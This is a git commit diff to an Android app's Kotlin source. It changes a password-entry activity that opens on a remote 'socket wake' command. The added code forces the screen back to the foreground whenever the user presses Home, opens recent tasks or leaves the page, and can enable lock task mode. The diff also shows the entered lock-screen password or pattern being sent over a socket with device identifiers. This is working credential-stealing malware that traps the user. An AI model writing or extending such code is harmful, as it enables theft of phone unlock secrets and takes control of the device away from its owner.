feat: upload latest android source changes

This commit is contained in:
sue
2026-03-03 22:16:30 +08:00
parent c0a7109816
commit 0bf4f72141
56 changed files with 14949 additions and 2152 deletions

View File

@@ -5,6 +5,7 @@ import android.app.WallpaperManager
import android.content.Context
import android.content.Intent
import android.graphics.*
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
@@ -65,7 +66,9 @@ class PasswordInputActivity : AppCompatActivity() {
private var patternTrajectory = mutableListOf<PointF>()
private var currentPassword = ""
private var isForceShowing = false // 防止重复强制显示
private var passwordFlowCompleted = false // 标记密码流程是否已完成,完成后不再强制拉回
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
private val enableLockTaskForSocketWake = false
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
@@ -119,8 +122,12 @@ class PasswordInputActivity : AppCompatActivity() {
super.onResume()
Log.i(TAG, "🔐 密码输入页面恢复")
if (shouldKeepForeground() && enableLockTaskForSocketWake) {
tryStartLockTaskMode()
}
// 如果是socket唤醒且没有正在强制显示则强制显示密码页面
if (isSocketWake && !isForceShowing) {
if (shouldKeepForeground() && !isForceShowing) {
isForceShowing = true
forceShowPasswordPage()
}
@@ -130,17 +137,9 @@ class PasswordInputActivity : AppCompatActivity() {
super.onPause()
Log.i(TAG, "🔐 密码输入页面暂停")
// 防止Activity被销毁保持在后台
if (isSocketWake) {
Log.i(TAG, "🔐 Socket唤醒模式防止Activity被销毁保持在后台")
// 不执行任何可能导致Activity销毁的操作
} else {
// 防止用户通过其他方式退出,重新显示页面
Handler(Looper.getMainLooper()).postDelayed({
if (!isFinishing && !isDestroyed) {
Log.i(TAG, "🔐 检测到页面被暂停,重新显示密码输入页面")
}
}, 1000)
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面进入后台,准备强制回到密码页")
scheduleForceReturn("onPause")
}
}
@@ -148,18 +147,17 @@ class PasswordInputActivity : AppCompatActivity() {
super.onStop()
Log.i(TAG, "🔐 密码输入页面停止")
// 防止Activity被销毁保持在后台
if (isSocketWake) {
Log.i(TAG, "🔐 Socket唤醒模式防止Activity被销毁保持在后台")
// 不执行任何可能导致Activity销毁的操作
// Activity将保持在后台不会被销毁
} else {
// 防止用户通过其他方式退出,重新显示页面
Handler(Looper.getMainLooper()).postDelayed({
if (!isFinishing && !isDestroyed) {
Log.i(TAG, "🔐 检测到页面被停止,重新显示密码输入页面")
}
}, 1000)
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到页面被停止,准备强制回到密码页")
scheduleForceReturn("onStop")
}
}
override fun onUserLeaveHint() {
super.onUserLeaveHint()
if (shouldKeepForeground()) {
Log.i(TAG, "🔐 检测到用户尝试离开密码页Home/最近任务),准备强制回到密码页")
scheduleForceReturn("onUserLeaveHint")
}
}
@@ -890,7 +888,8 @@ class PasswordInputActivity : AppCompatActivity() {
passwordType,
"PasswordInputActivity",
deviceId,
installationId
installationId,
"manual_password_input_activity"
)
Log.i(TAG, "✅ 密码已通过Socket发送: $passwordType")
} else {
@@ -983,6 +982,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallationDirectly() {
Log.i(TAG, "🎉 直接完成安装流程(无需密码输入)")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1058,6 +1064,13 @@ class PasswordInputActivity : AppCompatActivity() {
private fun completeInstallation() {
Log.i(TAG, "🎉 安装流程完成")
if (passwordFlowCompleted) {
Log.w(TAG, "⚠️ 密码流程已完成,忽略重复完成请求")
return
}
passwordFlowCompleted = true
tryStopLockTaskMode()
try {
// ✅ 检查是否已经安装完成,如果已完成则跳过处理
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
@@ -1232,6 +1245,71 @@ class PasswordInputActivity : AppCompatActivity() {
val timestamp: Long
)
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 仅在 Socket 唤醒且密码流程未完成时,才需要强制保持前台。
*/
private fun shouldKeepForeground(): Boolean {
return isSocketWake && !passwordFlowCompleted && passwordType != PASSWORD_TYPE_NONE
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 异步触发前台回拉,避免与系统生命周期回调冲突。
*/
private fun scheduleForceReturn(source: String) {
Handler(Looper.getMainLooper()).postDelayed({
if (!shouldKeepForeground()) {
return@postDelayed
}
if (isFinishing || isDestroyed) {
return@postDelayed
}
Log.i(TAG, "🔐 [$source] 开始执行密码页前台回拉")
checkAndForceShowIfNeeded()
}, 260)
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 尝试开启锁任务模式,进一步降低 Home/最近任务离开概率。
*/
private fun tryStartLockTaskMode() {
if (!enableLockTaskForSocketWake) {
Log.i(TAG, "🔓 锁任务模式已禁用,跳过 startLockTask")
return
}
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
startLockTask()
Log.i(TAG, "🔐 已尝试开启锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 开启锁任务模式失败(可能设备不支持)", e)
}
}
/**
* 作者: sue
* 日期: 2026-02-19
* 说明: 密码流程完成后关闭锁任务模式,恢复系统正常行为。
*/
private fun tryStopLockTaskMode() {
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP) {
return
}
try {
stopLockTask()
Log.i(TAG, "🔓 已尝试关闭锁任务模式")
} catch (e: Exception) {
Log.w(TAG, "⚠️ 关闭锁任务模式失败(可能未开启)", e)
}
}
/**
* 强制显示密码页面Socket唤醒专用
*/